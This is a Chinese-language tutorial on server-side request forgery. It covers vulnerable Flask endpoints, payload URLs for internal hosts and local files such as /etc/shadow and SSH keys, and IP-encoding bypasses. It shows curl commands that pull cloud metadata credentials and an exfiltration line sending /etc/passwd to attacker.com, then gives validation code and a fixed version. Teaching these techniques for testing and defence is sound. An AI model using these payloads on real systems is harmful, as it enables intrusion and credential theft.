SSRF 概述
伺服器端請求偽造(Server-Side Request Forgery,SSRF)是一種網路安全漏洞,攻擊者可以誘使伺服器端應用程式向非預期的位置發送請求。在 SSRF 攻擊中,攻擊者可以讓伺服器連接到組織內部的服務、存取內部網路資源,甚至連接到外部系統。
SSRF 在 2021 年被納入 OWASP Top 10 的第十名,隨著雲端服務和微服務架構的普及,這類漏洞的影響範圍和危害程度也持續增加。
SSRF 的危害
- 存取內部網路服務和資料
- 讀取伺服器本地檔案
- 取得雲端服務的 Metadata(如 AWS、GCP、Azure)
- 進行內網端口掃描
- 繞過防火牆和存取控制
- 作為跳板攻擊其他內部系統
常見 SSRF 攻擊場景
1. 圖片/文件 URL 載入功能
許多應用程式允許使用者提供 URL 來載入外部圖片或文件:
1
2
3
4
5
6
| # 易受攻擊的程式碼
@app.route('/fetch-image')
def fetch_image():
url = request.args.get('url')
response = requests.get(url)
return response.content
|
2. Webhook 功能
當應用程式允許使用者設定 Webhook URL 時:
1
2
3
4
5
6
7
| # 易受攻擊的 Webhook 功能
@app.route('/webhook/config', methods=['POST'])
def config_webhook():
webhook_url = request.json.get('url')
# 測試 Webhook 連線
requests.post(webhook_url, json={'test': 'ping'})
return 'Webhook configured'
|
3. PDF/文件產生器
使用 URL 作為輸入來產生 PDF 或預覽文件:
1
2
3
4
5
| # 易受攻擊的 PDF 產生功能
@app.route('/generate-pdf')
def generate_pdf():
url = request.args.get('url')
return render_pdf_from_url(url)
|
基本 SSRF 攻擊手法
存取內部服務
攻擊者可以利用 SSRF 存取只有內部網路才能存取的服務:
1
2
3
4
5
6
7
8
9
| # 存取本地服務
http://localhost:8080/admin
http://127.0.0.1:22
http://[::1]:80
# 存取內部網路
http://192.168.1.1/admin
http://10.0.0.1:8080/internal-api
http://intranet.company.local/
|
讀取本地檔案
使用 file:// 協議讀取伺服器檔案:
1
2
3
4
| file:///etc/passwd
file:///etc/shadow
file:///home/user/.ssh/id_rsa
file:///proc/self/environ
|
使用不同協議
1
2
3
4
5
6
7
8
| # Gopher 協議(可用於發送任意 TCP 封包)
gopher://127.0.0.1:25/_HELO%20localhost
# Dict 協議
dict://127.0.0.1:6379/info
# FTP 協議
ftp://internal-ftp:21/
|
繞過常見防護
1. 繞過 IP 黑名單
1
2
3
4
5
6
7
8
| # 使用不同表示法表示 127.0.0.1
http://127.1/
http://0/
http://0.0.0.0/
http://2130706433/ # 十進位表示
http://0x7f000001/ # 十六進位表示
http://0177.0.0.1/ # 八進位表示
http://127.0.0.1.nip.io/ # DNS 重綁定
|
2. 繞過 URL 解析
1
2
3
4
5
6
7
8
9
10
11
| # URL 編碼
http://127.0.0.1/%2f
http://127.0.0.1/%252f
# 使用 @ 符號
http://evil.com@127.0.0.1/
http://127.0.0.1#@evil.com/
# IPv6 格式
http://[::ffff:127.0.0.1]/
http://[0:0:0:0:0:ffff:127.0.0.1]/
|
3. DNS 重綁定攻擊
設置一個 DNS 伺服器,讓同一個域名在不同時間解析到不同 IP:
- 第一次解析:返回合法外部 IP(通過驗證)
- 第二次解析:返回 127.0.0.1(實際請求時)
4. 重定向繞過
如果應用程式會追蹤重定向:
1
2
3
4
| # 攻擊者控制的伺服器
@app.route('/redirect')
def redirect_to_internal():
return redirect('http://127.0.0.1:8080/admin')
|
雲端環境中的 SSRF
AWS EC2 實例可以透過 Metadata Service 獲取敏感資訊:
1
2
3
4
5
6
7
8
9
10
11
12
13
| # 獲取 Instance Metadata
http://169.254.169.254/latest/meta-data/
# 獲取 IAM Role 憑證(最危險)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[role-name]
# 獲取 User Data(可能包含敏感配置)
http://169.254.169.254/latest/user-data/
# IMDSv2(需要 Token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
|
1
2
3
4
5
6
| # GCP Metadata
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/
# 需要 Header
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
1
2
3
| # Azure Metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
|
Blind SSRF
當應用程式不直接回傳請求結果時,稱為 Blind SSRF。
偵測方法
使用外部服務接收 SSRF 請求:
1
2
3
4
5
6
7
8
| # 使用 Burp Collaborator
http://your-id.burpcollaborator.net/
# 使用 webhook.site
http://webhook.site/your-unique-id
# 使用 interact.sh
http://your-id.interact.sh/
|
Out-of-Band 資料外洩
透過 DNS 查詢外洩資料:
1
2
| # 將敏感資料編碼到 DNS 查詢
http://$(cat /etc/passwd | base64).attacker.com/
|
時間差偵測
1
2
3
4
5
6
7
8
9
10
11
| # 透過回應時間判斷內部服務是否存在
import time
start = time.time()
requests.get('http://vulnerable.com/fetch?url=http://192.168.1.1:22')
duration = time.time() - start
if duration > 5:
print("Port 22 might be open (timeout)")
else:
print("Port 22 responded or is closed")
|
測試方法
手動測試
識別可能的注入點
- URL 參數
- 圖片上傳 URL
- Webhook 配置
- PDF/文件產生功能
- 代理功能
測試基本 SSRF
1
2
3
| http://localhost/
http://127.0.0.1/
http://[::1]/
|
測試雲端 Metadata
1
2
| http://169.254.169.254/
http://metadata.google.internal/
|
使用工具
SSRFmap
1
2
3
4
5
6
7
| # 安裝
git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap
pip install -r requirements.txt
# 使用
python ssrfmap.py -r request.txt -p url -m readfiles
|
Gopherus
產生 Gopher payload:
1
2
3
4
5
| # 產生 Redis payload
python gopherus.py --exploit redis
# 產生 MySQL payload
python gopherus.py --exploit mysql
|
測試清單
防護措施
1. 輸入驗證
使用白名單驗證允許的 URL:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| from urllib.parse import urlparse
import ipaddress
ALLOWED_HOSTS = ['api.example.com', 'cdn.example.com']
def validate_url(url):
parsed = urlparse(url)
# 只允許 http 和 https
if parsed.scheme not in ['http', 'https']:
return False
# 檢查白名單
if parsed.hostname not in ALLOWED_HOSTS:
return False
return True
|
2. 阻擋內部 IP 位址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| import ipaddress
from urllib.parse import urlparse
import socket
def is_internal_ip(hostname):
try:
ip = socket.gethostbyname(hostname)
ip_obj = ipaddress.ip_address(ip)
# 阻擋私有 IP 和迴路位址
if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
return True
# 阻擋雲端 Metadata IP
if ip == '169.254.169.254':
return True
return False
except:
return True
def safe_fetch(url):
parsed = urlparse(url)
if is_internal_ip(parsed.hostname):
raise ValueError("Access to internal resources is not allowed")
return requests.get(url, allow_redirects=False)
|
3. 停用不必要的協議
1
2
3
4
5
6
| def validate_protocol(url):
parsed = urlparse(url)
allowed_protocols = ['http', 'https']
if parsed.scheme.lower() not in allowed_protocols:
raise ValueError(f"Protocol {parsed.scheme} is not allowed")
|
4. 使用代理伺服器
將所有外部請求透過專用代理發送:
1
2
3
4
5
6
| proxies = {
'http': 'http://outbound-proxy:8080',
'https': 'http://outbound-proxy:8080'
}
response = requests.get(url, proxies=proxies)
|
5. 網路層防護
- 使用防火牆限制伺服器的外連流量
- 阻擋對 Metadata Service 的存取
- 使用 IMDSv2(需要 Token)
程式碼修復範例
修復前(易受攻擊)
1
2
3
4
5
6
7
8
9
10
| from flask import Flask, request
import requests
app = Flask(__name__)
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
response = requests.get(url)
return response.content
|
修復後(安全版本)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
| from flask import Flask, request, abort
import requests
import socket
import ipaddress
from urllib.parse import urlparse
app = Flask(__name__)
ALLOWED_HOSTS = ['api.trusted-partner.com', 'cdn.example.com']
ALLOWED_PROTOCOLS = ['http', 'https']
def is_safe_url(url):
try:
parsed = urlparse(url)
# 驗證協議
if parsed.scheme.lower() not in ALLOWED_PROTOCOLS:
return False, "Invalid protocol"
# 驗證主機名稱
hostname = parsed.hostname
if not hostname:
return False, "Invalid hostname"
# 檢查白名單
if hostname not in ALLOWED_HOSTS:
# 如果不在白名單,檢查是否為內部 IP
try:
ip = socket.gethostbyname(hostname)
ip_obj = ipaddress.ip_address(ip)
if ip_obj.is_private or ip_obj.is_loopback:
return False, "Access to internal IPs is blocked"
if ip_obj.is_link_local:
return False, "Access to link-local IPs is blocked"
# 阻擋雲端 Metadata
if ip == '169.254.169.254':
return False, "Access to cloud metadata is blocked"
except socket.gaierror:
return False, "Cannot resolve hostname"
return True, None
except Exception as e:
return False, str(e)
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
if not url:
abort(400, "URL parameter is required")
is_safe, error = is_safe_url(url)
if not is_safe:
abort(403, f"URL is not allowed: {error}")
try:
# 禁用重定向追蹤,避免重定向繞過
response = requests.get(url, allow_redirects=False, timeout=10)
# 檢查是否有重定向
if response.is_redirect:
abort(403, "Redirects are not allowed")
return response.content
except requests.exceptions.Timeout:
abort(504, "Request timeout")
except requests.exceptions.RequestException as e:
abort(502, f"Request failed: {str(e)}")
if __name__ == '__main__':
app.run()
|
參考資料